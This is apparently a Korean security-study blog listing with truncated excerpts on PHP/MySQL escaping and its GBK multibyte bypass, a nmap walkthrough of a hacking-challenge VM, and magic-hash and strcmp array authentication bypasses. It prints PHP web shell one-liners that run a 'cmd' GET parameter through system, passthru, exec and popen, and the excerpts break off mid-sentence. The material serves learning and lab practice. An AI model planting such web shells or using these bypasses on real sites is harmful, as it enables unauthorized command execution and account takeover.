escape_string(string); real_escape_string(string); mysql_real_escape_string(string); → ' " \ \x00 \x1a(EOF) \n \r 에 대해서 이스케이프를 추가한다. addslashes(string) → ' " \ \x00 에 대해서 이스케이프를 추가한다. magic_quotes_gpc → GET, POST, COOKIE에 자동으로 addslashes()를 적용해준다. 대표적인 우회기법으로는 MultiByte Encoding이 있는데, 전제조건으로 GBK인코딩이 되어있거나, EUC-KR을 UTF-8로 인코딩하는 내용이 포함되어 있어야 한다. 원리는 %bf%27을 하게되면 %27이 %5c%27이 되는데, 이 떄 %bf%5c가 결합되면서..
주로 웹쉘을 작성할 때 여러가지 방법으로 사용된다. 시스템 명령어를 실행하는 함수. system($_GET['cmd']); passthru($_GET['cmd']); echo shell_exec($_GET['cmd']); ← 얘는 실습에서 실패했다. $arr = Array(); exec($_GET['cmd'], $arr); print_r($arr); $handle = popen($_GET['cmd'], 'r'); $read = fread($handle, 20960; echo $read; pclose($handle); $des = array( 0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w')); $proc = @proc_op..
해당 실습은 drunk_admin_hacking_challenge 가상머신을 통해 진행했다. * 이 파일은 D:\Practice에 있는데 후에 드라이브에 올릴 예정. nmap을 통해 65535개의 port를 전부 스캔하면 2개의 포트가 열려있는 것이 확인된다. ( nmap -p- -v 192.168.72.131 ) → 다소 시간이 걸린다. -A 옵션을 사용해 해당 포트들을 자세히 스캐닝 해보겠다. 자세히 조회해본 결과 8880 포트에서 사용하는 SERVICE는 http이고 Apache httpd 2.2.16 (Debian) Version을 사용하는 것으로 확인되었다. 한마디로 웹서버가 사용하는 포트라는 말이다. 그러면 192.168.72.131:8880/ 을 입력하면 해당 웹서버에 접속할 수 있다는 뜻이..
PHP에서 Magic Hash란 사실 취약점이라기보다 특수동작이다. A == B 를 비교하면 두개의 자료형이 달라도 데이터만 일치하다면 TRUE를 반환한다. ( 이를 방지하기 위해서는 A === B 를 사용하면 된다. ) 예를 들면, ( '0' == 0 ) 의 결과는 TRUE이다 !! ( String과 int를 비교하면 int로 형변환되어 비교된다. ) 여기서 지수(exponential) PHP에서 Magic Hash란 사실 취약점이라기보다 특수동작이다. 여기서 지수(exponential) 를 통한 트릭으로 인증을 우회할 수 있다. 0e1234 를 계산하게되면 결과가 0이된다는 점을 이용하는 것이다 !! ( '0e1234' == 0 ) 의 결과가 TRUE라는 뜻이다. ★★★ 여기서 md5($v1) == ..
PHP5에서 발생하는 취약점으로 예를들면 아래와 같은 소스코드에서 인증을 우회할 수 있다. PHP5에서 strcmp(String, Array) 의 형태가되면 NULL을 반환하게 된다. NULL과 0을 비교하게되면 Loose Comparisons에서 TRUE를 반환하게된다. 그러므로 POST로 데이터를 전송하는 과정에서 password=""를 password[]=123 으로 수정해서 password를 배열로 만들어주면 해당 검증과정을 우회할 수 있다.
WhiteSpace 언어 ? 2003년 만우절에 에드윈 브래디(Edwin Brady), 크리스 모리스(Chris Morris)라는 두 사람이 발표한 난해한 프로그래밍 언어이다. 모든 명령어가 공백문자(스페이스바, 탭키, 엔터)로 이루어져 있다. 에디터를 통해 쉽게 확인할 수 있다!! 만들어진 과정은 중요하지 않고, 컴파일 하는 사이트만 소개하겠다. https://www.jdoodle.com/execute-whitespace-online JDoodle - free Online Compiler, Editor for Java, C/C++, etc JDoodle is a free Online Compiler, Editor, IDE for Java, C, C++, PHP, Perl, Python, Ruby and..